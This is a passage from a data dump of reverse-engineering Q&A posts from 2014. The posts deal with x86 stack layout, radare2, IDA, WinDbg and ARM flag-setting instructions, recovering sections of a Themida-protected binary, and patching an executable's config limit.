<code>IDAPro</code></p>\n"
    },
    {
        "Id": "4250",
        "CreationDate": "2014-05-03T16:52:21.290",
        "Body": "<p>The code below is generated by gcc from a simple scanf program. \nMy question is that </p>\n\n<ol>\n<li>Why these 3 addresses of variables are not consecutive when allocated?</li>\n<li>If not, when could I speculate the number of variables generated from stack by watching the\nclause like <code>add esp, N</code> which is often at the end of a routine? Is it related with calling convention?</li>\n<li>In this example, why compiler does not generated the <code>add esp, 20h</code> with it?</li>\n</ol>\n\n<p>C code </p>\n\n<pre><code>#include &lt;stdio.h&gt;\nint main() {\n  int x;\n  printf (\"Enter X:\\n\");\n  scanf (\"%d\", &amp;x);\n  printf (\"You entered %d...\\n\", x);\n  return 0;\n};\n</code></pre>\n\n<p>asm</p>\n\n<pre><code>main            proc near\nvar_20          = dword ptr -20h\nvar_1C          = dword ptr -1Ch\nvar_4           = dword ptr -4\n                push    ebp\n                mov     ebp, esp\n                and     esp, 0FFFFFFF0h\n                sub     esp, 20h\n                mov     [esp+20h+var_20], offset aEnterX ; \"Enter X:\"\n                call    _puts\n                mov     eax, offset aD  ; \"%d\"\n                lea     edx, [esp+20h+var_4]\n                mov     [esp+20h+var_1C], edx\n                mov     [esp+20h+var_20], eax\n                call    ___isoc99_scanf\n                mov     edx, [esp+20h+var_4]\n                mov     eax, off set aYouEnteredD___ ; \"You entered %d...\\n\"\n                mov     [esp+20h+var_1C], edx\n                mov     [esp+20h+var_20], eax\n                call    _printf\n                mov     eax, 0\n                leave\n                retn\nmain            endp\n</code></pre>\n",
        "Title": "Why addresses of variable on stack are not consecutive?",
        "Tags": "|disassembly|assembly|x86|c|",
        "Answer": "<p><sub>(I deal more with code generated by Visual C++, so some parts of this answer are just educated guesses.)</sub></p>\n\n<blockquote>\n  <p>1.Why these 3 addresses of variables are not consecutive when allocated?</p>\n</blockquote>\n\n<p>Variable alignment and even <em>presence</em> on the stack is up to the compiler and can differ based on the specific compiler version you use, the optimization options being used, and other factors.</p>\n\n<p>The 3 variables in your example are not all \"real\" variables. <code>var_4</code> is the variable corresponding to your <code>x</code>, whereas <code>var_1C</code> and <code>var_20</code> are simply results of GCC's approach to passing arguments to deeper function calls. When you write <code>scanf(\"%d\", &amp;x);</code>, GCC knows that it will need to pass two 4-byte variables to that function on the stack, so it pre-emptively reserves enough room for them upon entering the function. This way, it doesn't need to <code>push</code> anything onto the stack (which might be problematic if there's no stack space left...), it just needs to <code>mov</code> the arguments into that preallocated space.</p>\n\n<p>That doesn't explain why there's a gap between the two allocations, though. GCC also prefers to align stack allocations to 16 bytes<sup>1</sup>, and <sub>this is where I am guessing</sub> it seems that the sizes needed for \"real local variables\" and \"space reserved for deeper function arguments\" are aligned independently before being summed into the final value of \"reserved stack space\".</p>\n\n<p><sup>1</sup>You can control this alignment by using <a href=\"http://gcc.gnu.org/onlinedocs/gcc-3.2/gcc/i386-and-x86-64-Options.html\" rel=\"nofollow noreferrer\"><code>-mpreferred-stack-boundary=num</code></a>.</p>\n\n<blockquote>\n  <p>2.If not, when could I speculate the number of variables generated from stack by watching the clause like <code>add esp, N</code> which is often at the end of a routine? Is it related with calling convention?</p>\n</blockquote>\n\n<p>As you can see in this example, that instruction does not always get generated. Its counterpart, <code>sub esp, N</code>, is a much better indicator. From that you can make educated guesses about the amount/sizes of local variables.</p>\n\n<p>Calling convention is not related to a function's local variables, it controls the way the arguments are passed <em>into</em> the function and whose responsibility it is to clean them up afterwards.</p>\n\n<blockquote>\n  <p>3.In this example, why compiler does not generated the <code>add esp, 20h</code> with it?</p>\n</blockquote>\n\n<p>The function in your example begins with <code>push ebp; mov ebp, esp</code>, which saves the original values of both <code>ebp</code> and <code>esp</code>. The <code>leave</code> instruction at the end does the reverse - it restores the saved values of <code>esp</code> and <code>ebp</code>, so there's no need to calculate anything.</p>\n\n<p>The saved <code>ebp</code> is also known as a <a href=\"https://stackoverflow.com/questions/579262/what-is-the-purpose-of-the-frame-pointer\"><em>frame pointer</em></a>. It is possible to instruct the compiler <em>not</em> to generate it, in which case the original value of <code>esp</code> needs to be restored using that calculation you mentioned.</p>\n"
    },
    {
        "Id": "4251",
        "CreationDate": "2014-05-03T17:23:49.993",
        "Body": "<p>Is it possible to reverse engineer ZIP file with password, and get the password or the data that is containing. I'm wondering because there is challenge in hacking lab which is to extract file from ZIP with passwd protection, and it's category is reverse engineering but when I look at the HEX dump I only see the file name.</p>\n",
        "Title": "Reverse engineering zip file",
        "Tags": "|disassembly|",
        "Answer": "<p>If this is a class competition, and it's filed under Reverse Engineering, the chances are the tutor has compiled this package themselves and has used techniques you've learnt in previous lessons to store the password somewhere within the executable.</p>\n\n<p>Look back on the techniques you've already learnt, and try those.</p>\n\n<p>Judging by the question I'll assume that you've not covered advanced Reverse Engineering techniques so the first place to start would be to view all the strings in the executable - provided no encryption is used, again I'm assuming not.</p>\n\n<p>If you're using Windows you can use Sys Internals Strings (<a href=\"http://technet.microsoft.com/en-gb/sysinternals/bb897439.aspx\" rel=\"nofollow\">http://technet.microsoft.com/en-gb/sysinternals/bb897439.aspx</a>). IDA Pro also allows you to do this.</p>\n\n<p>Use a PE viewer to check whether it's a valid zip file created with WinZip, WinRar etc. It could have been created with a different program that contains a vulnerability to extract/crack the password.</p>\n\n<p>Failing that, and not knowing the level of your experience or class the only option left is to brute force.</p>\n"
    },
    {
        "Id": "4257",
        "CreationDate": "2014-05-04T02:01:04.953",
        "Body": "<p>Visual C++ produces binaries with <code>.code</code>, <code>.rdata</code>, and <code>.data</code> sections (in that order). Themida merges all three into a nameless section, which is detrimental to analysis. In particular, I want to run the <a href=\"http://www.openrce.org/downloads/details/253/IDA_Extra_Pass\" rel=\"nofollow\">Extra Pass</a> plugin for IDA on a dump from memory of a Themida'd executable (imports not recovered), but it needs the real bounds of the .code section or it will aggressively convert a lot of actual data into code.</p>\n\n<p>How could I go about recovering the base of the <code>.rdata</code> and <code>.data</code> sections?</p>\n",
        "Title": "Recovering original PE sections after Themida merges them",
        "Tags": "|windows|pe|",
        "Answer": "<p>Basically the best way to start doing this is to compile your own EXE (with the same compiler as the Themida protected file when possible) and try to merge the sections by yourself. I crafted an example for you (source code: <a href=\"http://codepad.org/RqNiH3Ly\" rel=\"nofollow\">http://codepad.org/RqNiH3Ly</a>, download RAR (merged + directly compiled): <a href=\"https://mega.co.nz/#!aoAUALBJ!6riSM4VmT43Ywf_jxQAY73EsVXyjEAAhJ1rOSGaYdeI\" rel=\"nofollow\">https://mega.co.nz/#!aoAUALBJ!6riSM4VmT43Ywf_jxQAY73EsVXyjEAAhJ1rOSGaYdeI</a>, just some executable I was working with at the moment, compiled with VS10).</p>\n\n<p>The base of the .data section can basically be found by searching for references to every address aligned to 0x1000 in the code (VS10 uses data pointers in order, so just scroll up to the base of the first section and look for a pointer). For example:</p>\n\n<blockquote>\n  <p>01251000  /$  81EC 0C010000 SUB ESP,10C<br>\n  01251006  |.  A1 00302501   MOV EAX,DWORD PTR DS:[1253000] ; pointer to .data<br>\n  0125100B  |.  33C4          XOR EAX,ESP</p>\n</blockquote>\n\n<p>In my case (the EXE also has relocations) the ImageBase was 0x1250000, so the RVA of the .data section would be 0x1253000 - 0x1250000 = 0x3000</p>\n\n<p>The .rdata section is just the RVA aligned up to 0x1000 from the actual end of the code (you can learn this from the original file). In this case:</p>\n\n<blockquote>\n  <p>012518E2   $- FF25 60202501 JMP DWORD PTR DS:[&lt;&amp;MSVCR100._except_han><br>\n  012518E8   $- FF25 64202501 JMP DWORD PTR DS:[&lt;&amp;MSVCR100._invoke_wat><br>\n  012518EE   $- FF25 68202501 JMP DWORD PTR DS:[&lt;&amp;MSVCR100.<em>controlfp</em>> ; end<br>\n  012518F4      00            DB 00<br>\n  012518F5      00            DB 00</p>\n</blockquote>\n\n<p>0x12518EE - 0x1250000 = 0x18EE, rounded up 0x2000, so the original RVA of the .rdata section is 0x2000.</p>\n\n<p>Similar calculations can be done for the .reloc section (search for the binary mask \"3? 3? 3? 3? 3?\" will get you pretty close on x86).</p>\n\n<p>Just learn to know the compiler structure and use it to recover something similar to the original (maybe Themida just appends the raw section data and changes all data pointers etc). Hope this helps a little :)</p>\n"
    },
    {
        "Id": "4260",
        "CreationDate": "2014-05-04T16:57:40.147",
        "Body": "<p>I am trying  the recursive traversal disassembler of the <code>radare2</code> tool. But, I cannot use it properly.</p>\n\n<p>First, according to the <code>radare2</code> manual, we can use recursive traversal disassembler by using the <code>pdr</code>:</p>\n\n<pre><code>[0x00404890]&gt; pd?\nUsage: pd[f|i|l] [len] @ [addr]\n  pda  : disassemble all possible opcodes (byte per byte)\n  pdj  : disassemble to json\n  pdb  : disassemble basic block\n  pdr  : recursive disassemble across the function graph\n  pdf  : disassemble function\n  pdi  : like 'pi', with offset and bytes\n  pdl  : show instruction sizes\n</code></pre>\n\n<p>But I always get this error message:</p>\n\n<pre><code>Cannot find function at 0x004028c0\n</code></pre>\n\n<p>Here is a full session of <code>radare2</code> on the <code>ls</code> command with, first, a linear sweep disassembly and, then, an attempt of recursive traversal disassembly:</p>\n\n<pre><code>$&gt; radare2 /bin/ls\nsyntax error: error in error handling\nsyntax error: error in error handling\n[0x00404890]&gt; pd@main\n        ;-- main:\n        0x004028c0    4157         push r15\n        0x004028c2    4156         push r14\n        0x004028c4    4155         push r13\n        0x004028c6    4154         push r12\n        0x004028c8    55           push rbp\n        0x004028c9    4889f5       mov rbp, rsi\n        0x004028cc    53           push rbx\n        0x004028cd    89fb         mov ebx, edi\n        0x004028cf    4881ec88030. sub rsp, 0x388\n        ...\n        0x00402dff    8b0567772100 mov eax, [rip+0x217767] ; 0x0040a56c \n        0x00402e05    488b0d64772. mov rcx, [rip+0x217764] ; 0x0040a570 \n        0x00402e0c    83f801       cmp eax, 0x1\n        0x00402e0f    0f84de0d0000 jz 0x403bf3\n        0x00402e15    83f802       cmp eax, 0x2\n        0x00402e18    be0f384100   mov esi, 0x41380f\n        0x00402e1d    b80e384100   mov eax, str.vdir\n        0x00402e22    480f45f0     cmovnz rsi, rax\n        0x00402e26    488b3de3772. mov rdi, [rip+0x2177e3] ; 0x0040a610\n        0x00402e2d    48c70424000. mov qword [rsp], 0x0\n        0x00402e35    41b9bd384100 mov r9d, str.DavidMacKenzie\n        0x00402e3b    41b8cd384100 mov r8d, str.RichardM.Stallman\n[0x00404890]&gt; pdr@main\nCannot find function at 0x004028c0\n</code></pre>\n\n<p>In fact, I strongly suppose that I am missing a step here. It seems that we should first build the call graph of the program, but I didn't manage to find how to do it (I obviously have missed some documentation somewhere, sorry for that!). </p>\n\n<p>So, if somebody can give me a hint about it, I would be pleased !</p>\n",
        "Title": "Recursive traversal disassembling with Radare2?",
        "Tags": "|disassembly|radare2|",
        "Answer": "<p>In fact, you should first run a '<em>function</em>' analysis of the program. To better understand this type <code>a?</code>:</p>\n\n<pre><code>[0x00404890]&gt; a?\nUsage: a[?adfFghoprsx]\n a8 [hexpairs]    ; analyze bytes\n aa               ; analyze all (fcns + bbs)\n ad               ; analyze data trampoline (wip)\n ad [from] [to]   ; analyze data pointers to (from-to)\n ae [expr]        ; analyze opcode eval expression (see ao)\n af[bcsl?+-*]     ; analyze Functions\n aF               ; same as above, but using graph.depth=1\n ag[?acgdlf]      ; output Graphviz code\n ah[?lba-]        ; analysis hints (force opcode size, ...)\n ao[e?] [len]     ; analyze Opcodes (or emulate it)\n ap               ; find and analyze function preludes\n ar[?ld-*]        ; manage refs/xrefs\n as [num]         ; analyze syscall using dbg.reg\n at[trd+-*?] [.]  ; analyze execution Traces\n ax[-cCd] [f] [t] ; manage code/call/data xrefs\nExamples:\n f ts @ `S*~text:0[3]`; f t @ section..text\n f ds @ `S*~data:0[3]`; f d @ section..data\n .ad t t+ts @ d:ds\n</code></pre>\n\n<p>And, more precisely with an <code>af?</code>:</p>\n\n<pre><code>[0x00404890]&gt; af?\nUsage: af[?+-l*]\n af @ [addr]               ; Analyze functions (start at addr)\n af+ addr size name [type] [diff] ; Add function\n af- [addr]                ; Clean all function analysis data (or function at addr)\n afb 16                    ; set current function as thumb\n afbb fcnaddr addr size name [type] [diff] ; Add bb to function @ fcnaddr\n afl[*] [fcn name]         ; List functions (addr, size, bbs, name)\n afi [fcn name]            ; Show function(s) information (verbose afl)\n afr name [addr]           ; Rename name for function at address (change flag too)\n afs [addr] [fcnsign]      ; Get/set function signature at current address\n af[aAv][?] [arg]          ; Manipulate args, fastargs and variables in function\n afc @ [addr]              ; Calculate the Cyclomatic Complexity (starting at addr)\n af*                       ; Output radare commands\n</code></pre>\n\n<p>Then, start a '<em>functions</em>' analysis beginning at <code>main</code>:</p>\n\n<pre><code>[0x00404890]&gt; af@main\n</code></pre>\n\n<p>Then, you can run a recursive traversal disassembly:</p>\n\n<pre><code>[0x00404890]&gt; pdr@main\n/ (fcn) fcn.004028c0 7460\n|           ;-- main:\n|           0x004028c0    4157         push r15\n|           0x004028c2    4156         push r14\n|           0x004028c4    4155         push r13\n|           0x004028c6    4154         push r12\n|           0x004028c8    55           push rbp\n|           0x004028c9    4889f5       mov rbp, rsi\n|           0x004028cc    53           push rbx\n|           0x004028cd    89fb         mov ebx, edi\n|           0x004028cf    4881ec88030. sub rsp, 0x388\n|           0x004028d6    488b3e       mov rdi, [rsi]\n|           0x004028d9    64488b04252. mov rax, [fs:0x28]\n|           0x004028e2    48898424780. mov [rsp+0x378], rax\n|           0x004028ea    31c0         xor eax, eax\n|           0x004028ec    e8afad0000   call 0x40d6a0 ; (fcn.0040d69f)\n|              fcn.0040d69f(unk, unk, unk, unk, unk, unk)\n|           0x004028f1    be19694100   mov esi, 0x416919\n|           0x004028f6    bf06000000   mov edi, 0x6\n|               0x004028fb    e810feffff   call sym.imp.setlocale\n\n... clip ...\n\n--\n|           0x00402980    83e801       sub eax, 0x1\n|           0x00402983    7405         jz fcn.004038a8\n-[true]-&gt; 0x0040298a\n-[false]-&gt; 0x00402985\n--\n</code></pre>\n\n<p>You can also start radare2 with the <code>-A</code> option:</p>\n\n<blockquote>\n  <p>-A : run 'aaa' command before prompt or patch to analyze all referenced code</p>\n</blockquote>\n\n<p>See also <a href=\"http://radare.today/posts/analysis-by-default/\" rel=\"nofollow\">http://radare.today/posts/analysis-by-default/</a></p>\n"
    },
    {
        "Id": "4261",
        "CreationDate": "2014-05-04T17:08:09.753",
        "Body": "<p>I am starting to look a bit more precisely at ARM assembler and I looked up some dumps from <code>objdump</code>. I saw a lot of instruction (<code>add</code> is not the only one) with an extra <code>s</code> at the end (<code>adds</code>, <code>subs</code>, ...).</p>\n\n<p>I looked a bit to the ARM documentation and it seems to mean something significant, but I can't figure out exactly what (the documentation I found about it seemed extremely obscure to me).</p>\n\n<p>Has somebody some insight on what is the meaning of this extra <code>s</code> added at the end of some ARM instructions ?</p>\n",
        "Title": "Difference between 'add' and 'adds' in ARM assembler?",
        "Tags": "|arm|gas|",
        "Answer": "<p>The extra <code>s</code> character added to the ARM instruction mean that the <strong>APSR</strong> (Application Processor Status Register) will be updated depending on the outcome of the instruction.</p>\n\n<p>The status register (APSR) contain four flags <code>N</code>, <code>Z</code>, <code>C</code> and <code>V</code> which means the following:</p>\n\n<ul>\n<li><code>N == 0</code>: The result is greater or equal to 0, which is considered positive, and so the <code>N</code> (negative) bit is set to 0.</li>\n<li><code>Z == 1</code>: The result is 0, so the <code>Z</code> (zero) bit is set to 1.</li>\n<li><code>C == 1</code>: We lost some data because the result did not fit into 32 bits, so the processor indicates this by setting <code>C</code> (carry) to 1.</li>\n<li><code>V = 0</code>: From a two's complement signed-arithmetic viewpoint, 0xffffffff really means -1, so the operation we did was really (-1) + 1 = 0. That operation clearly does not overflow, so <code>V</code> (overflow) is set to 0.</li>\n</ul>\n\n<p>More information about the <em>condition flags</em> in the ARM architecture can be found <a href=\"http://community.arm.com/groups/processors/blog/2010/07/16/condition-codes-1-condition-flags-and-codes\">here</a>.</p>\n"
    },
    {
        "Id": "4271",
        "CreationDate": "2014-05-05T13:29:32.563",
        "Body": "<p>I'm \"middle-new\" in re and I have to debug a dll's function. How can I tell to IDA : start function XXX with parameters A, B and C ?\nIs there a solution or a plugin doing that ? I've tried doing that with rundll32.exe but unsucessfully.</p>\n\n<p>I have no experience on ollydbg this is why I ask for a IDA solution</p>\n\n<p>Thanks for helping !</p>\n",
        "Title": "DLL - Dynamic Analysis on IDA",
        "Tags": "|ida|dll|dynamic-analysis|",
        "Answer": "<p>IDA Pro has this mechanism called <a href=\"http://www.hexblog.com/?p=112\" rel=\"nofollow\">AppCall</a> which basically allows you to set up the parameters of a function and call it directly. </p>\n\n<blockquote>\n  <p>Briefly, Appcall is a mechanism used to call functions inside the debugged program from the debugger or your script as if it were a built-in function. If you\u2019ve used GDB (call command), VS (Immediate window), or Borland C++ Builder then you\u2019re already familiar with such functionality.</p>\n</blockquote>\n\n<p>Now , this might not be directly applicable to your situation, bit I guess creating a small wrapper program and using appcall on it could make things easier. </p>\n"
    },
    {
        "Id": "4276",
        "CreationDate": "2014-05-05T20:20:21.223",
        "Body": "<p>I want to generate all xrefs from function just to check what api it uses in its call-tree. I know I can generate call tree graph by right clicking on function name and \"Xrefs from\", but I would like to have this functions listed just as text or something like that, so I could read it easily.</p>\n\n<p>Reading it from WinGraph is pretty hard, and I have trouble with this nasty colors..\nI mean, how is it readable? It is really hard to read white text on cyan background. And I dont see any way to configure it. My eyes just cant stand looking at it.</p>\n\n<p>So how can I get this xrefs in some friendly format? I am sure it is possible.. \nI am using IDA 6.1 </p>\n\n<p>Thanks in advance</p>\n",
        "Title": "IDA Xrefs from - how to?",
        "Tags": "|ida|tools|ida-plugin|",
        "Answer": "<p>The <a href=\"https://code.google.com/p/mynav/\" rel=\"nofollow noreferrer\">MyNav</a> plugin will show you calls from a function recursively, as shown below:\n<img src=\"https://i.stack.imgur.com/0z5Nh.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "4282",
        "CreationDate": "2014-05-07T07:27:45.913",
        "Body": "<p>Following break point fails because of bad memory address in some situation and cause break in execution:</p>\n\n<pre><code>bp 0x12345678 \".printf \\\"PID: %d, unkVar: %d\\\\n\\\", ..., poi(poi(ecx+1c)+8)+c;g\"\n</code></pre>\n\n<p>Is there any way to test memory address before dereferencing in Windbg?</p>\n",
        "Title": "Prevent Windbg Log Breakpoint Fail by Memory Check",
        "Tags": "|windbg|",
        "Answer": "<p>testing memory address can be done with with </p>\n\n<pre><code>.if ( poi(@R32) operator CONST ) { commands }\n</code></pre>\n\n<p>but i think the intent the question is not to break on memory access failure </p>\n\n<p>if that is the case wrap your conditional command with a <code>.catch {} ; command to execute on exception</code>  this will let the execution flow without breaking</p>\n\n<p>a sample code </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main (void)\n{\n    __asm\n    {\n        xor eax , eax\n            increase:\n            inc eax\n            cmp eax , 0ffffffffh\n            jne increase\n    }\n    printf(\"we reached here\\n\");\n    __asm\n    {\nloopfever:\n        jmp loopfever\n    }\n    return 0;\n}\n</code></pre>\n\n<p>disassembly of main</p>\n\n<pre><code>0:001&gt; uf 401000\nimage00400000+0x1000:\n00401000 55              push    ebp\n00401001 8bec            mov     ebp,esp\n00401003 33c0            xor     eax,eax\n\nimage00400000+0x1005:\n00401005 40              inc     eax\n00401006 83f8ff          cmp     eax,0FFFFFFFFh\n00401009 75fa            jne     image00400000+0x1005 (00401005)\n\nimage00400000+0x100b:\n0040100b 6840814000      push    offset image00400000+0x8140 (00408140)\n00401010 e809000000      call    image00400000+0x101e (0040101e)\n00401015 83c404          add     esp,4\n\nimage00400000+0x1018:\n00401018 ebfe            jmp     image00400000+0x1018 (00401018)\n</code></pre>\n\n<p>a conditinal break point on 401006 dereferencing eax (will throw exception on almost 3 gb of address space ) wrapped in a </p>\n\n<pre><code>.catch {} ; gc\n</code></pre>\n\n<p>bp </p>\n\n<pre><code>0:001&gt; .bpcmds\nbp0 0x00401006  \" .catch { .printf \\\"%x\\n\\\" , poi( @eax ) ; gc };  ? @eax ;gc \";\n</code></pre>\n\n<p>here is an output </p>\n\n<pre><code>Memory access error at ') ; gc '\nEvaluate expression: 65529 = 0000fff9\nMemory access error at ') ; gc '\nEvaluate expression: 65530 = 0000fffa\nMemory access error at ') ; gc '\nEvaluate expression: 65531 = 0000fffb\nMemory access error at ') ; gc '\nEvaluate expression: 65532 = 0000fffc\nMemory access error at ') ; gc '\nEvaluate expression: 65533 = 0000fffd\nMemory access error at ') ; gc '\nEvaluate expression: 65534 = 0000fffe\nMemory access error at ') ; gc '\nEvaluate expression: 65535 = 0000ffff\n380039 44003800 440038 44004400 440044 4b004400 4b0044 3d004b00 3d004b 45003d00 45003d 3a004500 3a0045 5c003a00 5c003a 39005c00 39005c 38003900 380039 44003800 440038 44004400 \nEnvironment starts at 0x10000 compare  \n\n0:000&gt; s -su 10000 10100\n00010000  \"98DDK=E:\\98DDK\"\n0001001e  \"=::=::\\\"\n0001002e  \"=C:=C:\\Documents and Settings\\Ad\"\n\n7c90120e cc              int     3\n0:001&gt; ~0s\neax=000100c4 ebx=7ffdf000 ecx=00000001 edx=0040c5f0 esi=00000000 edi=009af6ee\neip=00401006 esp=0013ff78 ebp=0013ff78 iopl=0         nv up ei pl nz na po cy\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000303\nimage00400000+0x1006:\n00401006 83f8ff          cmp     eax,0FFFFFFFFh\n</code></pre>\n"
    },
    {
        "Id": "4285",
        "CreationDate": "2014-05-07T19:51:17.127",
        "Body": "<p>So basically I am using <code>objdump</code> to disassemble a binary from GNU Coreutils, on 32-bit Linux x86.</p>\n\n<p>In the disassembled code, I found one \"<em>broken</em>\" instruction like this:</p>\n\n<pre><code> 804b4db:       ff 24 85 e4 09 05 08    jmp    *0x80509e4(,%eax,4)\n</code></pre>\n\n<p>It seems like a <strong>disassemble error</strong>?</p>\n\n<p>And, by digging into the section info, I figure out that <code>0x80509e4</code> inside the <code>.rodata</code> section.</p>\n\n<p>So does it mean that <code>0x80509e4</code> is a <strong>jump table</strong>?</p>\n",
        "Title": "How to deal with this \"error\" instructions generated by objdump?",
        "Tags": "|disassembly|elf|objdump|",
        "Answer": "<p>This is just the ugly AT&amp;T syntax. In Intel syntax it's:</p>\n\n<pre><code>jmp dword ptr [eax*4+0x80509e4]\n</code></pre>\n\n<p>And yes, it's most likely a jump table.</p>\n\n<p>You can switch <code>objdump</code> to Intel syntax by adding <code>-M intel</code> to the command line.</p>\n"
    },
    {
        "Id": "4287",
        "CreationDate": "2014-05-08T00:59:14.813",
        "Body": "<p>I'm not new to StackExchange, but I'm quite new to reverse engineering, so please be patient with me! :P</p>\n\n<p>At present I'm dealing with an executable that I would like to modify a little bit, for personal use; the source code of the application is not available so I can only modify it or die trying. I'm using both IDA Pro 6.1 and OllyDBG 2.0 as tools.</p>\n\n<p>To be exact, I would just like to increase the amount of CFG_ENTRY that the application can read from <code>500</code> to <code>1000</code> in the method <code>ReadCfgFile</code> which, apparently, has a static memory region preallocated at compile-time:</p>\n\n<pre><code>.text:008F2860 ReadCfgFile     proc near ; DATA XREF: .rdata:0137A1ECo\n.text:008F2860 var_20          = dword ptr -20h\n.text:008F2860 var_1C          = dword ptr -1Ch\n.text:008F2860 var_18          = dword ptr -18h\n.text:008F2860 var_C           = dword ptr -0Ch\n.text:008F2860 var_4           = dword ptr -4\n.text:008F2860 arg_0           = dword ptr  4\n.text:008F2860 arg_4           = byte ptr  8\n.text:008F2860\n.text:008F2860                 push    0FFFFFFFFh\n.text:008F2862                 mov     eax, large fs:0\n.text:008F2868                 push    offset sub_1288B18\n.text:008F286D                 push    eax\n.text:008F286E                 mov     large fs:0, esp\n.text:008F2875                 sub     esp, 14h\n.text:008F2878                 push    ebx\n.text:008F2879                 push    ebp\n.text:008F287A                 push    esi\n.text:008F287B                 push    edi\n.text:008F287C                 mov     edi, [esp+30h+arg_0]\n.text:008F2880                 mov     eax, [edi+10h]\n.text:008F2883                 cmp     eax, [edi+8]\n.text:008F2886                 mov     esi, ecx\n.text:008F2888                 jnb     loc_8F2930\n.text:008F288E                 mov     edi, edi\n.text:008F2890\n.text:008F2890 loc_8F2890:\n.text:008F2890                 mov     eax, [esi+79954h]\n.text:008F2896                 cmp     eax, 3E8h\n.text:008F289B                 jge     loc_8F29DF\n.text:008F28A1                 mov     edx, eax\n.text:008F28A3                 shl     edx, 5\n.text:008F28A6                 lea     ecx, [eax+1]\n.text:008F28A9                 sub     edx, eax\n.text:008F28AB                 lea     eax, [eax+edx*8]\n.text:008F28AE                 mov     [esi+79954h], ecx\n.text:008F28B4                 push    edi\n.text:008F28B5                 lea     ecx, [esi+eax*4+4]\n.text:008F28B9                 call    ReadEDURecord\n.text:008F28BE                 test    al, al\n.text:008F28C0                 jz      loc_8F2947\n.text:008F28C6                 mov     eax, [esi+79954h]\n.text:008F28CC                 mov     ecx, eax\n.text:008F28CE                 shl     ecx, 5\n.text:008F28D1                 sub     ecx, eax\n.text:008F28D3                 lea     edx, [eax+ecx*8]\n.text:008F28D6                 mov     ebp, [esi+edx*4-3E0h]\n.text:008F28DD                 lea     eax, [esp+30h+arg_0]\n.text:008F28E1                 lea     ebx, [esi+79958h]\n.text:008F28E7                 push    eax\n.text:008F28E8                 mov     ecx, ebx\n.text:008F28EA                 mov     [esp+34h+arg_0], ebp\n.text:008F28EE                 call    sub_437DF0\n.text:008F28F3                 test    eax, eax\n.text:008F28F5                 jz      short loc_8F2902\n.text:008F28F7                 cmp     [esp+30h+arg_4], 0\n.text:008F28FC                 jz      loc_8F2994\n.text:008F2902\n.text:008F2902 loc_8F2902:\n.text:008F2902                 mov     ecx, [esi+79954h]\n.text:008F2908                 sub     ecx, 1\n.text:008F290B                 lea     edx, [esp+30h+arg_0]\n.text:008F290F                 push    edx\n.text:008F2910                 lea     eax, [esp+34h+var_20]\n.text:008F2914                 mov     [esp+34h+arg_0], ecx\n.text:008F2918                 push    eax\n.text:008F2919                 mov     ecx, ebx\n.text:008F291B                 mov     [esp+38h+var_20], ebp\n.text:008F291F                 call    sub_437890\n.text:008F2924                 mov     ecx, [edi+10h]\n.text:008F2927                 cmp     ecx, [edi+8]\n.text:008F292A                 jb      loc_8F2890\n.text:008F2930\n.text:008F2930 loc_8F2930:\n.text:008F2930                 pop     edi\n.text:008F2931                 pop     esi\n.text:008F2932                 pop     ebp\n.text:008F2933                 mov     al, 1\n.text:008F2935                 pop     ebx\n.text:008F2936                 mov     ecx, [esp+20h+var_C]\n.text:008F293A                 mov     large fs:0, ecx\n.text:008F2941                 add     esp, 20h\n.text:008F2944                 retn    8\n.text:008F2947\n.text:008F2947 loc_8F2947:\n.text:008F2947                 push    0\n.text:008F2949                 call    sub_D386E0\n.text:008F294E                 add     esp, 4\n.text:008F2951                 mov     ecx, edi\n.text:008F2953                 mov     esi, eax\n.text:008F2955                 call    sub_D4D270\n.text:008F295A                 push    eax ; ArgList\n.text:008F295B                 push    offset aErrMsg_1 ; Error Message\n.text:008F2960                 call    sub_D386E0\n.text:008F2965                 add     esp, 8\n.text:008F2968                 call    sub_D388C0\n.text:008F296D                 lea     edx, [esp+30h+var_20]\n.text:008F2971                 push    edx\n.text:008F2972                 lea     ecx, [esp+34h+var_18]\n.text:008F2976                 mov     [esp+34h+var_20], eax\n.text:008F297A                 mov     [esp+34h+var_1C], 640h\n.text:008F2982                 call    sub_403D60\n.text:008F2987                 mov     [esp+30h+var_4], 0\n.text:008F298F                 jmp     loc_8F2A27\n.text:008F2994\n.text:008F2994 loc_8F2994:\n.text:008F2994                 push    0\n.text:008F2996                 call    sub_D386E0\n.text:008F299B                 add     esp, 4\n.text:008F299E                 mov     ecx, edi\n.text:008F29A0                 mov     esi, eax\n.text:008F29A2                 call    sub_D4D270\n.text:008F29A7                 push    eax\n.text:008F29A8                 push    ebp             ; ArgList\n.text:008F29A9                 push    offset aErrMsg_2 ; Error Message\n.text:008F29AE                 call    sub_D386E0\n.text:008F29B3                 add     esp, 0Ch\n.text:008F29B6                 call    sub_D388C0\n.text:008F29BB                 mov     [esp+30h+var_20], eax\n.text:008F29BF                 lea     eax, [esp+30h+var_20]\n.text:008F29C3                 push    eax\n.text:008F29C4                 lea     ecx, [esp+34h+var_18]\n.text:008F29C8                 mov     [esp+34h+var_1C], 640h\n.text:008F29D0                 call    sub_403D60\n.text:008F29D5                 mov     [esp+30h+var_4], 1\n.text:008F29DD                 jmp     short loc_8F2A27\n.text:008F29DF\n.text:008F29DF loc_8F29DF:\n.text:008F29DF                 push    0\n.text:008F29E1                 call    sub_D386E0\n.text:008F29E6                 add     esp, 4\n.text:008F29E9                 mov     ecx, edi\n.text:008F29EB                 mov     esi, eax\n.text:008F29ED                 call    sub_D4D270\n.text:008F29F2                 push    eax             ; ArgList\n.text:008F29F3                 push    offset aErrMsg_0 ; Error Message\n.text:008F29F8                 call    sub_D386E0\n.text:008F29FD                 add     esp, 8\n.text:008F2A00                 call    sub_D388C0\n.text:008F2A05                 lea     ecx, [esp+30h+var_20]\n.text:008F2A09                 push    ecx\n.text:008F2A0A                 lea     ecx, [esp+34h+var_18]\n.text:008F2A0E                 mov     [esp+34h+var_20], eax\n.text:008F2A12                 mov     [esp+34h+var_1C], 640h\n.text:008F2A1A                 call    sub_403D60\n.text:008F2A1F                 mov     [esp+30h+var_4], 2\n.text:008F2A27\n.text:008F2A27 loc_8F2A27:\n.text:008F2A27                 mov     eax, [esp+30h+var_18]\n.text:008F2A2B                 test    eax, eax\n.text:008F2A2D                 jz      short loc_8F2A3A\n.text:008F2A2F                 push    esi\n.text:008F2A30                 push    eax\n.text:008F2A31                 call    